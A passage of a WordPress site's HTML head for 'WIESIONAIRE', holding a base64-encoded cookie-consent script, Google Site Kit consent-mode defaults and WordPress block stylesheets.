mV0dXJuIHd9cmV0dXJue2NvbW1vbjpoKGEuY29tbW9uKSxob3ZlcjpoKGEuaG92ZXIpfX1mdW5jdGlvbiBhbUJCQ29kZUNvbnZlcnRlcihlLHUpe2lmKHUubGVuZ3RoPT09MClyZXR1cm4gZTtmb3IodmFyIGMgaW4gdSl7dmFyIGE9dVtjXSxzPW5ldyBSZWdFeHAoIlxceyIrYysiXFx9KFtcXHNcXFNdKj8pXFx7XFwvIitjKyJcXH0iLCJnIiksaD1uZXcgUmVnRXhwKCJcXHsiK2MrIlxcfSIsImciKTtlPWUucmVwbGFjZShzLGEpLGU9ZS5yZXBsYWNlKGgsYSl9cmV0dXJuIGV9ZnVuY3Rpb24gaGV4MnJnYmEoZSx1KXtyZXR1cm4gZT1lLnJlcGxhY2UoIiMiLCIiKSxyPXBhcnNlSW50KGUuc3Vic3RyaW5nKDAsMiksMTYpLGc9cGFyc2VJbnQoZS5zdWJzdHJpbmcoMiw0KSwxNiksYj1wYXJzZUludChlLnN1YnN0cmluZyg0LDYpLDE2KSwicmdiYSgiK3IrIiwiK2crIiwiK2IrIiwiK3UvMTAwKyIpIn1mdW5jdGlvbiBlc2NhcGVIdG1sKGUpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpLGM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7cmV0dXJuIGMuYXBwZW5kQ2hpbGQodSksYy5pbm5lckhUTUx9Y29uc3QgYWNtR3RhZ1NldENvb2tpZXM9KGUsdSxjPTM2NSxhPSIvIixzPSIiKT0+e2xldCBoPSIiO2lmKGMpe2NvbnN0IHA9bmV3IERhdGU7cC5zZXRUaW1lKHAuZ2V0VGltZSgpK2MqMjQqNjAqNjAqMWUzKSxoPSI7IGV4cGlyZXM9IitwLnRvVVRDU3RyaW5nKCl9Y29uc3QgZD13aW5kb3cubG9jYXRpb24ucHJvdG9jb2w9PT0iaHR0cHM6Ij8iOyBzZWN1cmUiOiIiLHc9IjsgU2FtZVNpdGU9TGF4Ijtkb2N1bWVudC5jb29raWU9ZSsiPSIrKHV8fCIiKStoKyI7IHBhdGg9IithKyhzPyI7IGRvbWFpbj0iK3M6IiIpK2Qrd30sYWNtR3RhZ0RlbGV0ZUNvb2tpZT0oZSx1PSIvIixjPSIiKT0+e2RvY3VtZW50LmNvb2tpZT1lKyI9OyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgVVRDOyBwYXRoPSIrdSsoYz8iOyBkb21haW49IitjOiIiKX0scmV2b2tlTGlzdGVuZXJzPVtdO3dpbmRvdy5hY21Db25zZW50UmV2b2tlPWU9PntyZXZva2VMaXN0ZW5lcnMucHVzaChlKX0sZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiYWNtX2d0bV9yZXZva2UiLGZ1bmN0aW9uKGUpe2FjbUd0YWdEZWxldGVDb29raWUoImFjbV9ndG1fY29uc2VudCIpLHJldm9rZUxpc3RlbmVycy5mb3JFYWNoKHU9Pnt1KCl9KX0pO2NvbnN0IGNvbnNlbnRMaXN0ZW5lcnM9W107d2luZG93LmFjbUNvbnNlbnRVcGRhdGU9ZT0+e2NvbnNlbnRMaXN0ZW5lcnMucHVzaChlKX0sZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiYWNtX2d0bV91cGRhdGUiLGZ1bmN0aW9uKGUpe3ZhciBoLGQsdyxwLEUsQzt2YXIgdT1lLmRldGFpbC5jdXJyZW50Q29uc2VudFN0YXRlO2NvbnN0IGM9e3NlY3VyaXR5X3N0b3JhZ2U6ITAsZnVuY3Rpb25hbGl0eV9zdG9yYWdlOihoPXUuZnVuY3Rpb25hbGl0eV9zdG9yYWdlKSE9bnVsbD9oOiEwLHBlcnNvbmFsaXphdGlvbl9zdG9yYWdlOihkPXUucGVyc29uYWxpemF0aW9uX3N0b3JhZ2UpIT1udWxsP2Q6ITEsYW5hbHl0aWNzX3N0b3JhZ2U6KHc9dS5hbmFseXRpY3Nfc3RvcmFnZSkhPW51bGw/dzohMSxhZF9zdG9yYWdlOihwPXUuYWRfc3RvcmFnZSkhPW51bGw/cDohMSxhZF91c2VyX2RhdGE6KEU9dS5hZF91c2VyX2RhdGEpIT1udWxsP0U6ITEsYWRfcGVyc29uYWxpemF0aW9uOihDPXUuYWRfcGVyc29uYWxpemF0aW9uKSE9bnVsbD9DOiExfSxhPUpTT04uc3RyaW5naWZ5KGMpLHM9YnRvYShhKTthY21HdGFnU2V0Q29va2llcygiYWNtX2d0bV9jb25zZW50IixzKSxjb25zZW50TGlzdGVuZXJzLmZvckVhY2gobT0+e20oYyl9KX0pOwogfSkoKTsoZnVuY3Rpb24oKXsgCnZhciBkYXRhID0geyJkb21haW4iOiJ3aWVzaW9uYWlyZS5hdCIsImNvb2tpZXMiOnsidW5jbGFzc2lmaWVkIjpbeyJuYW1lIjoiX19TZWN1cmUtRU5JRCIsImV4cGlyZV9hdCI6IjE5LjAzLjIwMjcgMTU6MDc6MTciLCJsYXN0X2NoZWNrIjoiMjAyNi0wMi0xNiAyMzo1NToyNCIsImRvbWFpbiI6Ii5nb29nbGUuY29tIiwicGF0aCI6IlwvIiwiaHR0cE9ubHkiOjEsInNvdXJjZXMiOltdLCJjYXRlZ29yeSI6InVuY2xhc3NpZmllZCIsImRlc2NyaXB0aW9uIjoiIiwidHlwZSI6IkhUVFAiLCJjb250ZW50Ijp7ImRlZmF1bHQtc3JjIjoiKi5nb29nbGUuY29tIn19XX0sImNzc19zdHlsZXMiOiIuYWNtLWNsLWNvb2tpZS1saXN0e3dpZHRoOjEwMCU7bWF4LXdpZHRoOjEwMCV9LmFjbS1jbC1jb29raWUtbGlzdF9fc2VjdGlvbnttYXJnaW46MzBweCAwfS5hY20tY2wtY29va2llLWxpc3RfX3RpdGxle2ZvbnQtd2VpZ2h0OjYwMDtmb250LXNpemU6MjRweDttYXJnaW46MThweCAwfS5hY20tY2wtY29va2llLWxpc3RfX2RldGFpbHN7Zm9udC1zaXplOjE2cHh9LmFjbS1jbC1jb29raWUtbGlzdF9fdGFibGUtb3ZlcmZsb3d7d2lkdGg6MTAwJTttYXgtd2lkdGg6MTAwJTtvdmVyZmxvdy14OmF1dG87b3ZlcmZsb3cteTpoaWRkZW47LXdlYmtpdC1vdmVyZmxvdy1zY3JvbGxpbmc6dG91Y2h9LmFjbS1jbC1jb29raWUtbGlzdF9fdGFibGV7bWFyZ2luLXRvcDozMnB4O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTt3aWR0aDoxMDAlfXRoLmFjbS1jbC1jb29raWUtbGlzdC10ZHtwYWRkaW5nOjhweCAxNnB4IDhweCAwO3RleHQtYWxpZ246bGVmdDtmb250LXdlaWdodDpib2xkfXRkLmFjbS1jbC1jb29raWUtbGlzdC10ZHtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ym9yZGVyLXRvcDoxcHggc29saWQgI0MwQzBDMDtwYWRkaW5nOjhweCAxNnB4IDhweCAwO2xpbmUtaGVpZ2h0OjEuNDt2ZXJ0aWNhbC1hbGlnbjp0b3B9LmFjbS1jbC1jb29raWUtbGlzdC10ZC5hY20tY2wtY29va2llLWxpc3QtdGQtLW5hbWV7d2lkdGg6MjAlO21pbi13aWR0aDoxNDBweDt3b3JkLWJyZWFrOmJyZWFrLWFsbH0uYWNtLWNsLWNvb2tpZS1saXN0LXRkLmFjbS1jbC1jb29raWUtbGlzdC10ZC0tZG9tYWlue3dpZHRoOjIwJTttaW4td2lkdGg6MTYwcHg7d29yZC1icmVhazpicmVhay1hbGx9LmFjbS1jbC1jb29raWUtbGlzdC10ZC5hY20tY2wtY29va2llLWxpc3QtdGQtLWRlc2NyaXB0aW9ue21pbi13aWR0aDoyMDBweH0uYWNtLWNsLWNvb2tpZS1saXN0LXRkLmFjbS1jbC1jb29raWUtbGlzdC10ZC0tZXhwaXJle3dpZHRoOjExMHB4fS5hY20tY2wtY29va2llLWxpc3QtdGQuYWNtLWNsLWNvb2tpZS1saXN0LXRkLS10eXBle3dpZHRoOjkwcHh9IiwiY29udGVudF9jbGFzcyI6ImpzLWFjbS1jb29raWUtbGlzdCIsImNhdGVnb3JpZXMiOnsidW5jbGFzc2lmaWVkIjp7InRpdGxlIjoiVW5rYXRlZ29yaXNpZXJ0IiwiZGV0YWlscyI6IkNvb2tpZXMgZGllIG5vY2ggbmljaHQgZWluZXIgS2F0ZWdvcmllIHp1Z2V3aWVzZW4gd3VyZGVuIHVuZCBzb21pdCBuaWNodCBibG9ja2llcnQgd2VyZGVuIGtcdTAwZjZubmVuLiIsImRlc2NyaXB0aW9uX2V4dGVybmFsX3Jlc291cmNlcyI6Ik5hY2hmb2xnZW5kIHNlaGVuIFNpZSBlaW5lIExpc3RlIHZvbiBEb21haW5zIGV4dGVybmVyIFJlc3NvdXJjZW4sIGRpZSB3aXIgYXVmIHVuc2VyZXIgV2Vic2l0ZSB2ZXJ3ZW5kZW4gdW5kIGRpZSBwZXJzb25lbmJlem9nZW5lIERhdGVuIHZlcmFyYmVpdGVuIGtcdTAwZjZubmVuLiJ9LCJyZXF1aXJlZCI6eyJ0aXRsZSI6IlRlY2huaXNjaCBOb3R3ZW5kaWciLCJkZXRhaWxzIjoiV2lyIGJlblx1MDBmNnRpZ2VuIGRpZXNlIENvb2tpZXMsIHVtIGRpZSBTZWl0ZSByaWNodGlnIGFuemVpZ2VuIHp1IGtcdTAwZjZubmVuIHVuZCBDb29raWUgRWluc3RlbGx1bmdlbiB6dSBzcGVpY2hlcm4uIiwiZGVzY3JpcHRpb25fZXh0ZXJuYWxfcmVzb3VyY2VzIjoiTmFjaGZvbGdlbmQgc2VoZW4gU2llIGVpbmUgTGlzdGUgdm9uIERvbWFpbnMgZXh0ZXJuZXIgUmVzc291cmNlbiwgZGllIHdpciBhdWYgdW5zZXJlciBXZWJzaXRlIHZlcndlbmRlbiB1bmQgZGllIHBlcnNvbmVuYmV6b2dlbmUgRGF0ZW4gdmVyYXJiZWl0ZW4ga1x1MDBmNm5uZW4uIn0sInN0YXRpc3RpY3MiOnsidGl0bGUiOiJTdGF0aXN0aWtlbiIsImRldGFpbHMiOiJXaXIgdmVyd2VuZGVuIGRpZXNlIENvb2tpZXMgdW0gZGllIEJlc3VjaGVyemFobGVuIGRpZXNlciBTZWl0ZSBzdGF0aXN0aXNjaCBhdXN6dXdlcnRlbi4gei5CLiBHb29nbGUgQW5hbHl0aWNzLiIsImRlc2NyaXB0aW9uX2V4dGVybmFsX3Jlc291cmNlcyI6Ik5hY2hmb2xnZW5kIHNlaGVuIFNpZSBlaW5lIExpc3RlIHZvbiBEb21haW5zIGV4dGVybmVyIFJlc3NvdXJjZW4sIGRpZSB3aXIgYXVmIHVuc2VyZXIgV2Vic2l0ZSB2ZXJ3ZW5kZW4gdW5kIGRpZSBwZXJzb25lbmJlem9nZW5lIERhdGVuIHZlcmFyYmVpdGVuIGtcdTAwZjZubmVuLiJ9LCJtYXJrZXRpbmciOnsidGl0bGUiOiJNYXJrZXRpbmciLCJkZXRhaWxzIjoiV2lyIHZlcndlbmRlbiBkaWVzZSBDb29raWVzIGZcdTAwZmNyIE1hcmtldGluZy4gei5CLiBGYWNlYm9vayBQaXhlbC4iLCJkZXNjcmlwdGlvbl9leHRlcm5hbF9yZXNvdXJjZXMiOiJOYWNoZm9sZ2VuZCBzZWhlbiBTaWUgZWluZSBMaXN0ZSB2b24gRG9tYWlucyBleHRlcm5lciBSZXNzb3VyY2VuLCBkaWUgd2lyIGF1ZiB1bnNlcmVyIFdlYnNpdGUgdmVyd2VuZGVuIHVuZCBkaWUgcGVyc29uZW5iZXpvZ2VuZSBEYXRlbiB2ZXJhcmJlaXRlbiBrXHUwMGY2bm5lbi4ifSwic3RhdGlzdGljcy1hbm9ueW1vdXMiOnsidGl0bGUiOiJTdGF0aXN0aWtlbiAoQW5vbnltKSIsImRldGFpbHMiOiJTdGF0aXN0aWNzIEFub255bW91cyBDb29raWVzLiIsImRlc2NyaXB0aW9uX2V4dGVybmFsX3Jlc291cmNlcyI6Ik5hY2hmb2xnZW5kIHNlaGVuIFNpZSBlaW5lIExpc3RlIHZvbiBEb21haW5zIGV4dGVybmVyIFJlc3NvdXJjZW4sIGRpZSB3aXIgYXVmIHVuc2VyZXIgV2Vic2l0ZSB2ZXJ3ZW5kZW4gdW5kIGRpZSBwZXJzb25lbmJlem9nZW5lIERhdGVuIHZlcmFyYmVpdGVuIGtcdTAwZjZubmVuLiJ9LCJwcmVmZXJlbmNlcyI6eyJ0aXRsZSI6IkVpbnN0ZWxsdW5nZW4iLCJkZXRhaWxzIjoiQ29va2llcywgZGllIHp1bSBNZXJrZW4gdm9uIEVpbnN0ZWxsdW5nZW4gd2llIFNwcmFjaGUsIExvZ2luIHVzdy4gdmVyd2VuZGV0IHdlcmRlbi4iLCJkZXNjcmlwdGlvbl9leHRlcm5hbF9yZXNvdXJjZXMiOiJOYWNoZm9sZ2VuZCBzZWhlbiBTaWUgZWluZSBMaXN0ZSB2b24gRG9tYWlucyBleHRlcm5lciBSZXNzb3VyY2VuLCBkaWUgd2lyIGF1ZiB1bnNlcmVyIFdlYnNpdGUgdmVyd2VuZGVuIHVuZCBkaWUgcGVyc29uZW5iZXpvZ2VuZSBEYXRlbiB2ZXJhcmJlaXRlbiBrXHUwMGY2bm5lbi4ifX19O2RhdGEuZG9tYWluLnJlcGxhY2UoL153d3cuLywiIik9PT13aW5kb3cubG9jYXRpb24uaG9zdG5hbWUucmVwbGFjZSgvXnd3dy4vLCIiKSYmZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsZnVuY3Rpb24oKXt2YXIgZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzdHlsZSIpO2UuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlVGV4dE5vZGUoZGF0YS5jc3Nfc3R5bGVzKSksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKTt2YXIgYT1kb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGRhdGEuY29udGVudF9jbGFzcyk7aWYoYT1hWzBdLGEpe2EuaW5uZXJIVE1MPSIiO3ZhciBzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO3MuY2xhc3NOYW1lPSJhY20tY2wtY29va2llLWxpc3QiLHMuc2V0QXR0cmlidXRlKCJkYXRhLW5vc25pcHBldCIsITApO3ZhciBjPSIiO09iamVjdC5rZXlzKGRhdGEuY29va2llcykubGVuZ3RoPT09MCYmY29uc29sZS5sb2coIkFDTSBDTDogQ29va2llIGxpc3QgaXMgZW1wdHkiKSxPYmplY3Qua2V5cyhkYXRhLmNhdGVnb3JpZXMpLmZvckVhY2goZnVuY3Rpb24oaSl7ZGF0YS5jb29raWVzW2ldJiYoYys9JzxkaXYgY2xhc3M9ImFjbS1jbC1jb29raWUtbGlzdF9fc2VjdGlvbiI+JyxkYXRhLmNhdGVnb3JpZXNbaV0udGl0bGUmJihjKz0nPGRpdiBjbGFzcz0iYWNtLWNsLWNvb2tpZS1saXN0X190aXRsZSI+JytkYXRhLmNhdGVnb3JpZXNbaV0udGl0bGUrIjwvZGl2PiIpLGRhdGEuY2F0ZWdvcmllc1tpXS5kZXRhaWxzJiYoYys9JzxkaXYgY2xhc3M9ImFjbS1jbC1jb29raWUtbGlzdF9fZGV0YWlscyI+JytkYXRhLmNhdGVnb3JpZXNbaV0uZGV0YWlscysiPC9kaXY+IiksZGF0YS5jb29raWVzW2ldJiYoYys9JzxkaXYgY2xhc3M9ImFjbS1jbC1jb29raWUtbGlzdF9fdGFibGUtb3ZlcmZsb3ciPjx0YWJsZSBjbGFzcz0iYWNtLWNsLWNvb2tpZS1saXN0X190YWJsZSI+PHRyPjx0aCBjbGFzcz0iYWNtLWNsLWNvb2tpZS1saXN0LXRkIGFjbS1jbC1jb29raWUtbGlzdC10ZC0tbmFtZSI+TmFtZTwvdGg+PHRoIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1kb21haW4iPkRvbWFpbjwvdGg+PHRoIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1kZXNjcmlwdGlvbiI+QmVzY2hyZWlidW5nPC90aD48dGggY2xhc3M9ImFjbS1jbC1jb29raWUtbGlzdC10ZCBhY20tY2wtY29va2llLWxpc3QtdGQtLWV4cGlyZSI+QWJsYXVmPC90aD48dGggY2xhc3M9ImFjbS1jbC1jb29raWUtbGlzdC10ZCBhY20tY2wtY29va2llLWxpc3QtdGQtLXR5cGUiPlR5cDwvdGg+PC90cj4nLGRhdGEuY29va2llc1tpXS5mb3JFYWNoKGZ1bmN0aW9uKHQpe2MrPSc8dHI+PHRkIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1uYW1lIj4nKyh0Lm5hbWU/dC5uYW1lOiItIikrJzwvdGQ+PHRkIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1kb21haW4iPicrKHQuZG9tYWluP3QuZG9tYWluOiItIikrJzwvdGQ+PHRkIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1kZXNjcmlwdGlvbiI+JysodC5kZXNjcmlwdGlvbj90LmRlc2NyaXB0aW9uOiItIikrJzwvdGQ+PHRkIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS1leHBpcmUiPicrKHQuZXhwaXJlX2F0P3QuZXhwaXJlX2F0OiItIikrJzwvdGQ+PHRkIGNsYXNzPSJhY20tY2wtY29va2llLWxpc3QtdGQgYWNtLWNsLWNvb2tpZS1saXN0LXRkLS10eXBlIj4nKyh0LnR5cGU/dC50eXBlOiItIikrIjwvdGQ+PC90cj4ifSksYys9IjwvdGFibGU+PC9kaXY+IiksYys9IjwvZGl2PiIpfSkscy5pbm5lckhUTUw9YyxhLmFwcGVuZChzKX19KTsKIH0pKCk7'));</script>

<title>WIESIONAIRE</title>
<meta name='robots' content='max-image-preview:large' />
<!-- Google tag (gtag.js) consent mode dataLayer added by Site Kit -->
<script type="text/javascript" id="google_gtagjs-js-consent-mode-data-layer">
/* <![CDATA[ */
window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);}
gtag('consent', 'default', {"ad_personalization":"denied","ad_storage":"denied","ad_user_data":"denied","analytics_storage":"denied","functionality_storage":"denied","security_storage":"denied","personalization_storage":"denied","region":["AT","BE","BG","CH","CY","CZ","DE","DK","EE","ES","FI","FR","GB","GR","HR","HU","IE","IS","IT","LI","LT","LU","LV","MT","NL","NO","PL","PT","RO","SE","SI","SK"],"wait_for_update":500});
window._googlesitekitConsentCategoryMap = {"statistics":["analytics_storage"],"marketing":["ad_storage","ad_user_data","ad_personalization"],"functional":["functionality_storage","security_storage"],"preferences":["personalization_storage"]};
window._googlesitekitConsents = {"ad_personalization":"denied","ad_storage":"denied","ad_user_data":"denied","analytics_storage":"denied","functionality_storage":"denied","security_storage":"denied","personalization_storage":"denied","region":["AT","BE","BG","CH","CY","CZ","DE","DK","EE","ES","FI","FR","GB","GR","HR","HU","IE","IS","IT","LI","LT","LU","LV","MT","NL","NO","PL","PT","RO","SE","SI","SK"],"wait_for_update":500};
/* ]]> */
</script>
<!-- End Google tag (gtag.js) consent mode dataLayer added by Site Kit -->
<link rel='dns-prefetch' href='//www.googletagmanager.com' />
<link rel="alternate" type="application/rss+xml" title="WIESIONAIRE &raquo; Feed" href="https://wiesionaire.at/feed/" />
<link rel="alternate" type="application/rss+xml" title="WIESIONAIRE &raquo; Kommentar-Feed" href="https://wiesionaire.at/comments/feed/" />
		
		
		
								
		<meta property="og:locale" content="de_DE"/>
		<meta property="og:type" content="article"/>
		<meta property="og:site_name" content="WIESIONAIRE"/>
		<meta property="og:title" content=""/>
				<meta property="og:url" content=""/>
																				<style id='wp-img-auto-sizes-contain-inline-css' type='text/css'>
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id='wp-block-accordion-inline-css' type='text/css'>
.wp-block-accordion{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/accordion/style.min.css */
</style>
<style id='wp-block-accordion-item-inline-css' type='text/css'>
.wp-block-accordion-item.is-open>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transform:rotate(45deg)}@media (prefers-reduced-motion:no-preference){.wp-block-accordion-item{transition:grid-template-rows .3s ease-out}.wp-block-accordion-item>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transition:transform .2s ease-in-out}}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/accordion-item/style.min.css */
</style>
<style id='wp-block-archives-inline-css' type='text/css'>
.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/archives/style.min.css */
</style>
<style id='wp-block-avatar-inline-css' type='text/css'>
.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/avatar/style.min.css */
</style>
<style id='wp-block-button-inline-css' type='text/css'>
.wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:initial;background-image:none}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/button/style.min.css */
</style>
<style id='wp-block-calendar-inline-css' type='text/css'>
.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/calendar/style.min.css */
</style>
<style id='wp-block-categories-inline-css' type='text/css'>
.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label{display:block;width:100%}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/categories/style.min.css */
</style>
<style id='wp-block-comment-author-name-inline-css' type='text/css'>
.wp-block-comment-author-name{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-author-name/style.min.css */
</style>
<style id='wp-block-comment-content-inline-css' type='text/css'>
.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.wp-block-comment-content{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-content/style.min.css */
</style>
<style id='wp-block-comment-date-inline-css' type='text/css'>
.wp-block-comment-date{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-date/style.min.css */
</style>
<style id='wp-block-comment-edit-link-inline-css' type='text/css'>
.wp-block-comment-edit-link{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-edit-link/style.min.css */
</style>
<style id='wp-block-comment-reply-link-inline-css' type='text/css'>
.wp-block-comment-reply-link{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-reply-link/style.min.css */
</style>
<style id='wp-block-comment-template-inline-css' type='text/css'>
.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:right}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comment-template/style.min.css */
</style>
<style id='wp-block-comments-inline-css' type='text/css'>
.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comments/style.min.css */
</style>
<style id='wp-block-comments-pagination-inline-css' type='text/css'>
.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/comments-pagination/style.min.css */
</style>
<link rel='stylesheet' id='wp-block-cover-css' href='https://wiesionaire.at/wp-includes/blocks/cover/style.min.css?ver=6.9.4' type='text/css' media='all' />
<style id='wp-block-file-inline-css' type='text/css'>
